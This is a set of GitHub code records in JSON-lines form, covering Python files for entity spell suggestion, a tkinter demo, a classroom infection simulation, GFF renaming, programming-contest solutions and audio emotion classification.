(freq, dist, ent_ids, w) in all_sugestions:\n for ent_id in ent_ids:\n ent = ent_id if id else self.ents_dict[ent_id]\n if ent not in results:\n results[ent] = (set([w]), dist, self.ent_word_counts[ent_id])\n else:\n results[ent][0].add(w)\n results[ent] = (results[ent][0], results[ent][1] + dist, results[ent][2])\n\n if match_all_words:\n results = {ent: (matches, dist, nwords) for ent, (matches, dist, nwords) in results.items() if\n len(matches) == len_query}\n\n results = sorted(results.items(), key=lambda ent, matches_dist_nwords: (\n -len(matches_dist_nwords[0]), matches_dist_nwords[1] + 1.5 * float(len_query - len(matches_dist_nwords[0])) / len_query))\n return results[:self.k]\n\n def get_word_suggestions(self, string, silent=True):\n '''return list of suggested corrections for potentially incorrectly\n spelled word'''\n if (len(string) - self.longest_word_length) > self.max_edit_distance:\n if not silent:\n print(\"no items in dictionary within maximum edit distance (%d - %d) > %d\" %\n (len(string), self.longest_word_length, self.max_edit_distance))\n return []\n\n suggest_dict = {}\n\n # process queue item\n if (string in self.dictionary) and (string not in suggest_dict):\n\n suggest_dict[string] = (\n self.dictionary[string][0], len(string) - len(string), self.dictionary[string][1], string)\n # the suggested corrections for string as stored in\n # dictionary (whether or not string itself is a valid word\n # or merely a delete) can be valid corrections\n for sc_item in self.similar_tokens[string]:\n if (sc_item not in suggest_dict):\n # compute edit distance\n # calculate edit distance using, for example,\n # Damerau-Levenshtein distance\n item_dist = dameraulevenshtein(sc_item, string)\n suggest_dict[sc_item] = (\n self.dictionary[sc_item][0], item_dist, self.dictionary[sc_item][1], string)\n\n # queue is now empty: convert suggestions in dictionary to\n # list for output\n if not silent and self.verbose != 0:\n print(\"number of possible corrections: %i\" % len(suggest_dict))\n print(\" edit distance for deletions: %i\" % self.max_edit_distance)\n\n # output option 1\n # sort results by ascending order of edit distance and descending\n # order of frequency\n # and return list of suggested word corrections only:\n # return sorted(suggest_dict, key = lambda x:\n # (suggest_dict[x][1], -suggest_dict[x][0]))\n\n # output option 2\n # return list of suggestions with (correction,\n # (frequency in corpus, edit distance)):\n as_list = list(suggest_dict.items())\n outlist = sorted(as_list, key=lambda term, freq_dist_ents_w: (freq_dist_ents_w[1], -freq_dist_ents_w[0]))\n\n return outlist\n\n def save(self, path):\n dill.dump(self, open(path, \"wb\"))\n\n @staticmethod\n def load(path):\n return dill.load(open(path, \"rb\"))\n print(\" \")\n","repo_name":"aolimelo/kged","sub_path":"entityasm.py","file_name":"entityasm.py","file_ext":"py","file_size_in_byte":8895,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"}
+{"seq_id":"42425723891","text":"from tkinter import *\r\n\r\nroot=Tk()\r\n\r\nmiFrame=Frame(root, width=500, height=400)\r\n\r\nmiFrame.pack()\r\n\r\nLabel(miFrame, text=\"Hola que tal?\", fg=\"red\", font=(\"Comic Sans MS\", 18)).place(x=200, y=50)\r\n\r\nroot.mainloop()","repo_name":"nranmag/ejemspython","sub_path":"Graficos/practicaLabel.py","file_name":"practicaLabel.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"19281698317","text":"## TODO\n# Make this file just functions\n# make plots better:\n# run 10k make raster is in 'air_flow'\n# This saves the grid overlay to a file\n# ventilation calculation is in 'vent_setup'\n# This plots a line between the edges of the vent and the edges of the windows: directionally influences aerosol\n# Implement masks as a function of this ventilation / time: i.e. reduced airflow\n\n\nimport math\nimport random\nimport numpy as np\nimport pandas as pd\nfrom scipy import stats\nimport matplotlib.pyplot as plt\nimport json\n\n# TODO:\n# add viz for 1-room infection\n# plot infections / time\n\ndef init_positions(floor_area, n_students):\n # generate size of room based on circular/square desks\n positions = {}\n # grid desks\n rows = int(math.sqrt(n_students))\n count = 0\n for i in range(rows):\n for j in range(rows):\n positions[count] = [i, j]\n count += 1\n\n\n inf_index = random.sample(set(range(n_students)), 2)\n uninf_index = list(range(n_students))\n inf_array = []\n\n\n # double check this\n for i in inf_index:\n uninf_index.remove(i)\n inf_array.append(i)\n return uninf_index, inf_index, inf_array, positions\n\ndef return_aerosol_transmission_rate(floor_area, mean_ceiling_height,\n air_exchange_rate,\n aerosol_filtration_eff, relative_humidity, breathing_flow_rate,\n exhaled_air_inf, max_viral_deact_rate, mask_passage_prob,\n max_aerosol_radius=2, primary_outdoor_air_fraction=0.2):\n # Function to return transmission % from smaller droplets dispersing around the room\n # Same as SchoolABM\n\n mean_ceiling_height_m = mean_ceiling_height * 0.3048 #m3\n room_vol = floor_area * mean_ceiling_height # ft3\n room_vol_m = 0.0283168 * room_vol # m3\n\n fresh_rate = room_vol * air_exchange_rate / 60 # ft3/min\n recirc_rate = fresh_rate * (1/primary_outdoor_air_fraction - 1) # ft3/min\n air_filt_rate = aerosol_filtration_eff * recirc_rate * 60 / room_vol # /hr\n eff_aerosol_radius = ((0.4 / (1 - relative_humidity)) ** (1 / 3)) * max_aerosol_radius\n viral_deact_rate = max_viral_deact_rate * relative_humidity\n sett_speed = 3 * (eff_aerosol_radius / 5) ** 2 # mm/s\n sett_speed = sett_speed * 60 * 60 / 1000 # m/hr\n conc_relax_rate = air_exchange_rate + air_filt_rate + viral_deact_rate + sett_speed / mean_ceiling_height_m # /hr\n airb_trans_rate = ((breathing_flow_rate * mask_passage_prob) ** 2) * exhaled_air_inf / (room_vol_m * conc_relax_rate)\n\n return airb_trans_rate #This is mean number of transmissions per hour between pair of infected / healthy individuals\n\n\ndef get_distance(infect_id, uninfect_id, student_pos):\n x1y1 = student_pos[infect_id]\n x2y2 = student_pos[uninfect_id]\n # print(student_pos)\n return math.sqrt(((x2y2[0]-x1y1[0])**2) + ((x2y2[1] - x1y1[1])**2))\n\ndef directional_air(matrix, row, col, direction='back'): # back of the bus = down\n # dir_matrix is a np.array\n # risk_matrix is a pd.dataframe\n\n # direction = a number 0-9\n # numpad directions:\n # 7 8 9 <^ ^ ^>\n # 4 5 6 < - >\n # 1 2 3 \n # 0\n\n # fix this function now\n\n if direction == 'back':\n matrix[row][col] - 1\n matrix[row-1][col] + 1\n return matrix\n\n if direction == 'forward':\n #\n matrix[row][col] - 1\n matrix[row+1][col] + 1\n return matrix\n\n if direction == 'left':\n #\n matrix[row][col] - 1\n matrix[row][col-1] + 1\n return matrix\n\n if direction == 'right':\n matrix[row][col] - 1\n matrix[row][col+1] + 1\n return matrix\n\n if direction == 'left-back':\n #\n matrix[row][col] - 1\n matrix[row-1][col-1] + 1\n return matrix\n\n if direction == 'left-forward':\n matrix[row][col] - 1\n matrix[row+1][col-1] + 1\n return matrix\n\n if direction == 'right-back':\n matrix[row][col] - 1\n matrix[row-1][col+1] + 1\n return matrix\n\n if direction == 'right-forward':\n matrix[row][col] - 1\n matrix[row+1][col+1] + 1\n return matrix\n return\n\n\n\ndef matrix_avg(input_matrices):\n '''\n calculate mean for every mutual [i,j] in input\n list of np.arrays\n\n function to be used in calculating which seats are riskiest\n '''\n return\n\n\n\ndef create_color_viz(infect_times, num_students = 25):\n # implement having more students in the class\n\n # initialize positions of students\n positions = {}\n x_arr = []\n y_arr = []\n rows = int(math.sqrt(num_students))\n count = 0\n for i in range(rows):\n for j in range(rows):\n positions[count] = [i, j]\n x_arr.append(i)\n y_arr.append(j)\n count += 1\n\n inf_x_arr = []\n inf_y_arr = []\n for inf in infect_times.keys():\n # print(positions[inf])\n inf_x_arr.append(positions[inf][0])\n inf_y_arr.append(positions[inf][1])\n\n\n # color dot red\n\n # plot uninfected in blue\n plt.scatter(x_arr, y_arr, color='blue')\n # plot infected in red\n # only output last frame for now:\n plt.scatter(inf_x_arr, inf_y_arr, color='red')\n # add plt title and description\n plt.show()\n return\n\ndef create_plot_viz(infect_times, infect_distrib):\n # convert infection timestamps to step function plot\n times = infect_times.values()\n #\n # print('times', times)\n step_x_array = times\n step_y_array = [i for i in range(len(times))]\n plt.step(step_x_array, step_y_array) # label timestep and id # above each infection\n # add ax annotate? or plt annotate?\n # add plt title and description\n plt.show()\n\n # plot distribution of infection rate over course of model run\n plt.hist(infect_distrib)#, bins=50)\n plt.gca().set(title='Transmission likelihood distribution')\n # add plt title and description\n plt.show()\n\n return\n\n# Go by standards mandated by school district in terms of masks and setup\ndef one_room(input_dir, output_dir, viz_checkd, num_people=25, mask_type='cloth', num_days=5, num_class=3, vent_test=False):\n\n\n uninf_index, inf_index, inf_array, student_pos = init_positions(900, num_people)\n\n # setup variables and functions# output graphs\n # countdown until symptoms appear: probability curve\n shape, loc, scale = (0.6432659248014824, -0.07787673726582335, 4.2489459496009125)\n x = np.linspace(0, 17, 1000)\n countdown_curve = stats.lognorm(s=shape, loc=loc, scale=scale)\n\n infected = {i: int(np.round(stats.lognorm.rvs(shape, loc, scale, size=1)[0], 0)) for i in inf_index}\n\n # bound the days for overflow errors\n for i in infected:\n if infected[i] > 17:\n infected[i] = 17\n if infected[i] < -10:\n infected[i] = -10\n # create infectiveness reference dataframe\n shape, loc, scale = (20.16693271833812, -12.132674385322815, 0.6322296057082886)\n x = np.linspace(-10, 8, 19)\n infective_df = pd.DataFrame({'x': list(x), 'gamma': list(stats.gamma.pdf(x, a=shape, loc=loc, scale=scale))})\n\n uninfected = {i: 0 for i in uninf_index}\n\n # set default params here\n floor_plan = {\"floor_area\": 900,\n \"mean_ceiling_height\": 12,\n \"air_exchange_rate\": 3,\n \"primary_outdoor_air_fraction\": 0.2,\n \"aerosol_filtration_eff\": 0,\n \"relative_humidity\": 0.69,\n \"breathing_flow_rate\": 0.5,\n \"max_aerosol_radius\": 2,\n \"exhaled_air_inf\": 30,\n \"max_viral_deact_rate\": 0.3,\n \"mask_passage_prob\": 0.1,\n \"risk_tolerance\": 0.1}\n\n # for i in floor_plan:\n # print(i)\n # deff.close()\n floor_area = floor_plan['floor_area'] # ft2\n mean_room_height = floor_plan['mean_ceiling_height'] # ft\n air_exchange_rate = floor_plan['air_exchange_rate'] # /hr (air changes per hour (ACH))\n\n ##Assumed Parameter Identified as 0.2 for Classrooms, 1.0 for outdoors##\n primary_outdoor_air_fraction = floor_plan['primary_outdoor_air_fraction'] # 1.0 = natural ventilation\n aerosol_filtration_eff = floor_plan['aerosol_filtration_eff'] # >0.9997 HEPA, =0.2-0.9 MERVs, =0 no filter\n\n #Average daily RH for San Diego is 69%\n relative_humidity = floor_plan['relative_humidity']\n physical_params = [floor_area, mean_room_height, air_exchange_rate, primary_outdoor_air_fraction,\n aerosol_filtration_eff, relative_humidity]\n\n # Physiological Parameters\n breathing_flow_rate = floor_plan['breathing_flow_rate'] # m3/hr\n max_aerosol_radius = floor_plan['max_aerosol_radius'] # micrometers\n physio_params = [breathing_flow_rate, max_aerosol_radius]\n\n # Disease Parameters\n exhaled_air_inf = floor_plan['exhaled_air_inf'] # infection quanta/m3, changes with acitivity type.\n max_viral_deact_rate = floor_plan['max_viral_deact_rate'] # /hr\n disease_params = [exhaled_air_inf, max_viral_deact_rate]\n\n # Precautionary Parameters\n mask_passage_prob = floor_plan['mask_passage_prob'] # 1 = no masks, ~0.1 cloth, <0.05 N95\n risk_tolerance = floor_plan['risk_tolerance'] # expected transmissions per infector\n prec_params = [mask_passage_prob, risk_tolerance]\n\n\n # Use Chu\n chu_distance_curve = 1/2.02\n # loop through day\n\n\n days = num_days\n classes = num_class\n steps = 12 # 5 mins / step = 1 hour / class\n\n # use these to generate plot of num_infected by step count, assuming all else equal\n step_count = 0\n infect_plot_dict = {}\n\n student_infections = {} # this dict stores # times each student infects another via droplet\n # which students are infected is already output\n\n # temp\n min = 1\n max = 0\n trans_array = []\n infection_timesteps = {}\n num_they_infect = {}\n for i in inf_index:\n infection_timesteps[i] = 0\n for j in range(num_people):\n num_they_infect[j] = 0\n\n # generate plotline of num_infected using minimum default input: no masks, bad airflow, etc\n\n # generate plotline of num_infected using maximum default input: n-95 masks, barriers, vents, etc\n\n num_infected = 2\n\n # Aerosol transmission in this room (assumes well-mixed room)\n air_transmission = return_aerosol_transmission_rate(floor_area, mean_room_height,\n air_exchange_rate,\n aerosol_filtration_eff, relative_humidity, breathing_flow_rate,\n exhaled_air_inf, max_viral_deact_rate, mask_passage_prob=.1,\n max_aerosol_radius=2, primary_outdoor_air_fraction=0.2)\n # print('air', air_transmission)\n\n # Loop through days in a week (5 days)\n for i in range(days):\n\n # Loop through classes in each day (3 classes)\n for c in range(classes):\n\n # Loop through 5 minute steps in each class (total of 12 steps / class)\n for s in range(steps):\n step_count += 1\n\n ## Droplet Infection\n # Loop through infected students\n for i_student in inf_index:\n # Loop through uninfected and calculate likelihood of infection\n for u_student in uninf_index:\n try:\n transmission = droplet_infect(i_student, u_student, infected, student_pos, infective_df, chu_distance_curve).iloc[0]\n trans_array.append(transmission)\n # print(transmission)\n except:\n # print('wrong')\n transmission = droplet_infect(i_student, u_student, infected, student_pos, infective_df, chu_distance_curve)\n # print(transmission)\n # break\n transmission = 0 # Out of bounds of infectivity\n\n # print(transmission)\n if np.random.choice([True, False], p=[transmission, 1-transmission]):\n\n\n # add u to infected\n inf_array.append(u_student)\n\n infection_timesteps[u_student] = step_count\n num_they_infect[u_student] += 1\n # also calculate time until symptoms for u_student\n\n uninf_index.remove(u_student)\n\n\n # Aerosol Infection\n #Loop through infected and uninfected for pairwise calculations\n\n # this is calculated after every class (hourly transmission rate in that space)\n for i in inf_index:\n\n for u in uninf_index:\n a_transmit = air_transmission\n if np.random.choice([True, False], p=[a_transmit, 1-a_transmit]):\n # add u to infected\n inf_array.append(u)\n # also calculate time until symptoms for u_student\n\n uninf_index.remove(u)\n pass\n\n out = 2 # count number students in inf_index\n # print('this is the number of infected students: ' + str(len(inf_array)))\n # print('these are the infected student IDs: ' + str(inf_array))\n\n\n # print('this is when they were infected: ' + str(infection_timesteps))\n # print(np.min(trans_array), np.max(trans_array), 'min, max')\n # print(np.mean(trans_array), 'mean')\n\n # '''\n if viz_checkd:\n pass\n # create_color_viz(infection_timesteps, 25)\n # print(infection_timesteps, 'time')\n #\n # create_plot_viz(infection_timesteps, trans_array)\n # return inf_array, infection_timesteps\n # '''\n # create_color_viz(infection_timesteps, 25)\n # print(infection_timesteps, 'time')\n\n # create_plot_viz(infection_timesteps, trans_array)\n # also return list of IDs infected\n # print(num_they_infect)\n return inf_array, infection_timesteps# num_they_infect\n\n\ndef scatter_collect(input_dir, output_dir, viz_checkd, num_people=25, mask_type='cloth',\n num_days=5, num_class=3, vent_test=False, n_runs=10): # also add one_room inputs, use this as run.py command\n '''\n run one_room n=1000 times and take avg of # times each id is stored\n\n divide by # runs = % chance of each seat being infected in each seat:\n\n Y = # times infectious/infective/infected by the model\n X = avg distance from other points\n\n i.e. X =\n a dictionary with {ID: # of times infected}\n Y =\n a dictionary with {ID: # people infected}\n\n ### TODO: think of better X variable\n '''\n\n # if saved_scatter in folder: plot those values\n\n # for file in folder:\n # temp = open(), plot #s, close()\n # check if this json file exists\n # if yes, exit function: don't plot the same points twice\n\n fig, ax = plt.subplots()\n n_students = 25\n positions = {}\n # grid desks\n rows = int(math.sqrt(n_students))\n count = 0\n for i in range(rows):\n for j in range(rows):\n positions[count] = [i, j]\n count += 1\n\n # GET OUT THE RIGHT # OF INFECTED PEOPLE\n id_counts = {i: 0 for i in range(num_people)}\n actually_infected = {i: 0 for i in range(num_people)}\n # num_they_infect_ = {i: 0 for i in range(num_people)}\n for run in range(n_runs):\n print('THIS SHOULDNT RUN')\n infected, what_times = one_room(\"../src/data/default\", \"src/data\", viz_checkd=False, num_people=25, mask_type='cloth', num_days=5, num_class=3, vent_test=False)\n # , num_they_infect\n # print(infected)\n for id in infected:\n id_counts[id] += 1\n for new_infections in infected[2:]:\n actually_infected[id] += 1\n # print(what_times)\n # for i in range(len(num_they_infect)):\n # num_they_infect_[i] += num_they_infect[i]\n # print(num_they_infect_)\n # x = id_counts.values()\n\n actual_infections = {id: num_times / n_runs for id, num_times in actually_infected.items()}\n\n # print(id_counts)\n # print(positions)\n x_arr = []\n y_arr = []\n c_arr = []\n for i in range(len(positions)):\n pos = positions[i]\n x_arr.append(pos[0])\n y_arr.append(pos[1])\n c_arr.append(actual_infections[i])\n plt.scatter(x_arr, y_arr, c=c_arr)\n plt.colorbar()\n plt.title('seat infectiveness risk')\n plt.show()\n\n # save all XY output to json file\n\n # temp = one_room\n # get one_room to output which IDs are infected and their distance from other individuals\n\n return\n\ndef get_dist_multiplier(distance, chu_distance_curve):\n# TODO: update this function with correct Chu Calculation from SchoolABM\n # is it chu ** dist ? double check tonight\n bathroom_break = np.random.choice([True, False], p=[4/25, 21/25])\n mu, sigma = 0, .5 # mean, standard deviation in meters to simulate movement\n if bathroom_break:\n temp = np.random.normal(mu, sigma, 1)\n distance = distance + temp\n return (chu_distance_curve)**(distance)\n\ndef droplet_infect(infect_id, uninfect_id, infected, student_pos, infective_df, chu_distance_curve, mask_passage_prob=.1):\n # Function to return transmission % from larger droplets\n '''\n Function to calculate infection via 'large particles'\n Defined as exhaled airborne particles >5 micrometers in size\n\n - other papers cite 2 micrometers, 5, 10, 50, or even 100 micrometers as the cutoff\n\n [effect of distance on # of viral particles that reach that distance] *\n [probability of infectivity given time until symptoms are expected] *\n ([effect of breathing rate and quanta of virions in exhaled/inhaled air] *\n [effect of mask type]) ^ 2\n\n '''\n\n distance = get_distance(infect_id, uninfect_id, student_pos)\n time = infected[infect_id]\n try:\n transmission_baseline = infective_df[infective_df.x == -1 * time]['gamma']\n except:\n print('out of range')\n return 0\n\n # get distance from chu\n distance_multiplier = get_dist_multiplier(distance, chu_distance_curve)\n # approximate student time spent breathing vs talking vs loudly talking\n breathing_type_multiplier = np.random.choice([.5, .05, 1], p=[.2, .05, .75])#############################\n # whisper, loud, heavy\n\n mask_multiplier = np.random.choice([.05, .3, .5, 1], p=[.1, .5, .3, .1])\n #mask_passage_prob # equivalent to aerosol masks\n\n # convert transmission rate / hour into transmission rate / step\n hour_to_fivemin_step = 5/60 # hourly transmission rate --> (5-min) transmission rate\n # 5 minute timesteps\n\n return transmission_baseline * distance_multiplier * (breathing_type_multiplier * mask_multiplier)**2 * hour_to_fivemin_step / 100\n","repo_name":"Bailey-Man/OneRoomABM","sub_path":"old_implementation/scale_model.py","file_name":"scale_model.py","file_ext":"py","file_size_in_byte":18638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"6772711496","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nfrom __future__ import print_function\n\nimport gzip\nimport sys\n\n\ndef rename_gff(in_list, gfffile):\n chrom_db = dict(i.strip().split() \n for i in open(in_list) if i.strip())\n\n if gfffile[-2:] == \"gz\":\n fp = gzip.open(gfffile)\n else:\n fp = open(gfffile)\n\n for line in fp:\n if line[0] == \"#\":\n output = line.strip()\n elif line.strip() == \"\":\n output = line.strip()\n else:\n line_list = line.strip().split()\n if line_list[0] in chrom_db:\n line_list[0] = chrom_db[line_list[0]]\n else:\n continue\n output = \"\\t\".join(line_list)\n\n print(output, file=sys.stdout)\n\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 3:\n print(\"Usage: {} in.gff3 chrom.list > out.gff3\".format(sys.argv[0]))\n sys.exit()\n gfffile, in_list = sys.argv[1:]\n rename_gff(in_list, gfffile)\n","repo_name":"wangyibin/TDGP","sub_path":"utils/rename_gff_by_chrom.py","file_name":"rename_gff_by_chrom.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"}
+{"seq_id":"38073696625","text":"a=int(input())\nwhile(a):\n q=[1,2,3,4,5,6,7,8,9,10]\n while(1):\n t=input()\n if t==\"too high\":\n for i in range(len(q)):\n if q[i]>=a:\n q[i]=0\n elif t==\"too low\":\n for i in range(len(q)):\n if q[i]<=a:\n q[i]=0\n else:\n if q.count(a):\n x=\"may be \"\n else:\n x=\"is dis\"\n break\n a=int(input())\n print(\"Stan \"+x+\"honest\")\n a=int(input())\n","repo_name":"machi107/Baekjoon-Codes","sub_path":"Silver 5/4335 숫자 맞추기.py","file_name":"4335 숫자 맞추기.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23409871911","text":"input = open('A-small-attempt0.in', 'r')\noutput = open('output.txt', 'w')\n\ntest_case_count = int(input.readline())\n\n#process test case one by one\nfor i in range(test_case_count):\n\t#store relevant data\n\tselected_row_1 = int(input.readline())-1\n\tarrangement_1 = []\n\tfor j in range(4):\n\t\tarrangement_1.append(str.strip(input.readline()))\n\tselected_row_2 = int(input.readline())-1\n\tarrangement_2 = []\n\tfor j in range(4):\n\t\tarrangement_2.append(str.strip(input.readline()))\n\n\t#find match\n\tmatch_count = 0\n\tmatch_case = None\n\tfor number_1 in arrangement_1[selected_row_1].split(' '):\n\t\tfor number_2 in arrangement_2[selected_row_2].split(' '):\n\t\t\tif number_1 == number_2:\n\t\t\t\tmatch_count += 1\n\t\t\t\tmatch_case = number_1\n\n\tif (match_count == 0):\n\t\ty = 'Volunteer cheated!'\n\telif (match_count == 1):\n\t\ty = match_case\n\telse:\n\t\ty = 'Bad magician!'\n\t#print output\n\toutput.write(\"Case #%d: %s\\n\" %(i+1, y))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_135/1134.py","file_name":"1134.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"15557452441","text":"import math # Maths Library\r\nimport os # OS Module provides functions for interacting with the operating system\r\nimport fleep # Determines file format by file signature\r\n#from pydub import AudioSegment # Used to work with audio files (didn't use mixer library as it can only play audio, whereas pydub can manipulate the audio)\r\nimport pydub # Used to work with audio files\r\nimport pickle # Used to read the labels file\r\nimport pandas as pd # Used to create DataFrames\r\nimport numpy as np # Used to perform a wide variety of mathematical operations on arrays\r\nfrom keras.models import model_from_json # Used to load the saved trained model from json\r\nimport tensorflow as tf # An end-to-end platform for machine learning \r\nimport librosa # Used for audio analysis; and used to convert audio into MFCC\r\nfrom med_app.settings import BASE_DIR \r\npydub.AudioSegment.ffmpeg = \"C:/ffmpeg/bin/ffmpeg.exe\" # Used to execute the ffmpeg file for pydub library\r\n\r\n\r\nclass SplitWavAudioMubin(): # Created a class to split the given audio\r\n def __init__(self, folder, filename): # Initializing the default constructor\r\n self.folder = folder # Get the folder directory of the file\r\n self.filename = filename # Get the filename\r\n self.filepath = folder + '/' + filename # Get the complete path of the file \r\n \r\n self.audio = pydub.AudioSegment.from_wav(self.filepath) # Read the audio from the path of the audio in milliseconds\r\n \r\n def get_duration(self): # To get the duration of the audio file\r\n return self.audio.duration_seconds # Returns the duration of the audio in seconds\r\n \r\n def single_split(self, from_t, to_t, split_filename): # Split audio into a single segment from t1 to t2 and rename it with new filename\r\n t1 = from_t * 1000 # Converting the from_t to second\r\n t2 = to_t * 1000 # Converting the to_t to second\r\n split_audio = self.audio[t1:t2] # Slice the audio file from 'from_t' seconds to 'to_t' seconds as AudioSegments are slicable\r\n split_audio.export(self.folder + '/' + split_filename, format=\"wav\") # Export the audio file to the folder with a new name in 'wav' format\r\n \r\n def multiple_split(self,segment_length): # Split audio into multiple segments of a particular segment length\r\n total_t = math.ceil(self.get_duration()) # Rounds the duration UP to the nearest integer, if necessary, and returns the total duration\r\n for i in range(0, total_t,segment_length): # Iterating from to total_t with a step size of the segment_length\r\n split_fn = str(i) + '_' + self.filename # Setting the new filename as the 'i' values + '_' + the original filename\r\n self.single_split(i, i+segment_length, split_fn) # Calling the split audio function\r\n return(i,total_t) # Returns the total number of segments in which the audio gets splited\r\n\r\ndef get_audio(k,folder,file): # Created a class to get the audio file, check the format, and split the audio\r\n if str(os.path.isdir(folder)) =='True' : # Check if the directory exists\r\n f=0 # Flag to check if the audio is correctly formatted or not\r\n while (f==0): # While the Flag is set off\r\n if str(os.path.isfile(folder + file)) == 'True': # Check if the file exists in that directory\r\n with open(folder + file, \"rb\") as fi: # Opening the audio file as 'fi'\r\n info = fleep.get(fi.read(128)) # Determines the file extension\r\n if info.extension[0] == 'mp3' : # Check if the file extension is 'mp3'\r\n src = folder + file # File path\r\n dst = src + '.wav' # File path with extension as '.wav'\r\n # convert mp3 to wav\r\n sound = pydub.AudioSegment.from_mp3(src) # Read the mp3 file\r\n sound.export(dst, format=\"wav\") # Convert the mp3 into wav file using the dst given\r\n file=file+'.wav' # Reading the converted wav file with extension\r\n split_wav = SplitWavAudioMubin(folder, file) # Creating an object of the 'SplitWavAudioMubin' class\r\n k,duration = split_wav.multiple_split(segment_length=5) # Split the audio in multiple segments of 5 secs\r\n f=1 # Setting the conversion flag to 1 so that it breaks out of the function call\r\n elif info.extension[0] == 'm4a' or info.extension[0] == 'wav': # Check if the file extension is 'm4a' or 'wav'\r\n split_wav = SplitWavAudioMubin(folder, file) # Creating an object of the 'SplitWavAudioMubin' class\r\n k,duration = split_wav.multiple_split(segment_length=5) # Split the audio in multiple segments of 5 secs\r\n f=1 # Setting the conversion flag to 1 so that it breaks out of the function call\r\n else: # If the chosen audio file doesn't match the extension 'mp3, 'm4a', 'wav'\r\n print(\"Please enter name of audio file with supported a format (mp3,m4a,wav)\") # Prints a warning message to give an indication to upload file in these 3 given format\r\n else: # If the file doesn't exist at the given directory\r\n print(\"Please ensure that the file is in the directory specified above and verify the file name\") # Prints a warning message to choose the correct file directory with correct file name\r\n break # Break out of the loop\r\n return(k, file, duration) # Returns the number of segments and the file\r\n else: # If the directory doesn't exists\r\n print('Check if directory is correct') # Prints a warning message to check if the directory is correct or not\r\n get_audio() # Calls the function again \r\n\r\ndef app(k,folder,file): # Function which is the main logic of the prediction\r\n\r\n k, file, duration = get_audio(0,folder,file) # Call the get_audio file with the audio split into segments of 5 secs\r\n n = k/5 # Gets the number of segments\r\n ans = {} # Store the predictiosn of each segments\r\n json_file = open(BASE_DIR + '\\\\ai\\static\\\\ai\\\\files\\model_json.json', 'r') # Open the saved trained model\r\n loaded_model_json = json_file.read() # Read the model\r\n json_file.close() # Close the json file of the model\r\n\r\n loaded_model = model_from_json(loaded_model_json) # Read the model for prediction\r\n loaded_model.load_weights(BASE_DIR + '\\\\ai\\static\\\\ai\\\\files\\Emotion_Model.h5') # Load the weights\r\n print(\"Model Loaded!\") # Confirms that the model has been loaded\r\n\r\n opt = tf.keras.optimizers.RMSprop(lr=0.00001, decay=1e-6) # Used to speed up gradient descent so that it can converge faster to the minima. \r\n loaded_model.compile(loss='categorical_crossentropy', optimizer=opt, metrics=['accuracy']) # Compile the model \r\n files = [file] # Maintain a list of the main audio file along with the segments\r\n\r\n for i in range(int(n)): # Iterating from 0 to the number of segments\r\n # Transform Dataset\r\n\r\n #Load the audio file segment as a floating point time series. Audio will be automatically resampled to the given rate; with a duration of 2.5 secs and an offset of 0.5 secs; and resample type as 'kaiser_fast' which helps in loading the audio file faster\r\n X, sample_rate = librosa.load(folder + str(5*i) + '_' + file,res_type='kaiser_fast',duration=2.5,sr=44100,offset=0.5) \r\n files.append(str(5*i) + '_' + file) # Append the audio segment file name to the files list\r\n sample_rate = np.array(sample_rate) # Converting the sample rate into a numpy array\r\n mfccs = np.mean(librosa.feature.mfcc(y=X, sr=sample_rate, n_mfcc=13),axis=0) # Taking the mean of 13 mfcc calculated on the audio time series 'X' with a 'sample_rate' sample rate\r\n newdf = pd.DataFrame(data=mfccs).T # Taking the transpose of the DataFrame created with the data as the mfccs\r\n\r\n # Predictions\r\n newdf= np.expand_dims(newdf, axis=2) # Adds a dimension to the array at the 2nd axis\r\n newpred = loaded_model.predict(newdf, \r\n batch_size=16, \r\n verbose=1) # Here newdf is the input data for the model to predict on and it returns the probabilty of each class with batch_size of 16\r\n\r\n filename = BASE_DIR + '\\\\ai\\static\\\\ai\\\\files\\labels' # Directory of the labels file\r\n infile = open(filename,'rb') # Open the labels file\r\n\r\n lb = pickle.load(infile) # Loading the labels\r\n infile.close() # Close the labels file\r\n\r\n # Final Prediction\r\n final = newpred.argmax(axis=1) # We set axis = 1 , so that argmax identifies the maximum value for every row. And it returns the column index of that maximum value.\r\n final = final.astype(int).flatten() # Flatten the array into one dimension and cast the values into an integer\r\n final = (lb.inverse_transform((final))) # Transforming label back to original encoding\r\n print(f\"FOR {i} emotion is {final[0]}\") # Prints the emotion for the current segment (For eg: FOR 0 emotion is female_angry)\r\n ans[(i+1)*5] = final[0] # Adding a new element to the predictions dictionary with key as the segments of 5 and value as the emotion detected in that 5 secs\r\n print('Predicted label:',final) # Prints the predicted label\r\n \r\n try: # Exception Handling - Try to do this\r\n files.append(str(5*(i+1)) + '_' + file) # Adding the last segment to the files list\r\n files.append(file.replace('.wav','')) # Adding the file name without the extension\r\n except: # If the try statement fails, we come to the 'except' statement\r\n files.append(file.replace('.wav','')) # Adding the file name without the extension\r\n\r\n # Deleting the files after prediction to free up storage\r\n\r\n if n==0: # If only one or no segments are formed\r\n if os.path.exists(folder+'0_'+file): # Check if the file exists\r\n os.remove(folder+'0_'+file) # Remove the file \r\n\r\n for i in files: # Iterate through the files list\r\n if os.path.exists(folder+i): # Check if the file exists\r\n os.remove(folder+i) # Remove the file\r\n\r\n return ans,duration # Return the predictions dictionary\r\n\r\n ","repo_name":"Anish2422/calmai-live","sub_path":"ai/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":9964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
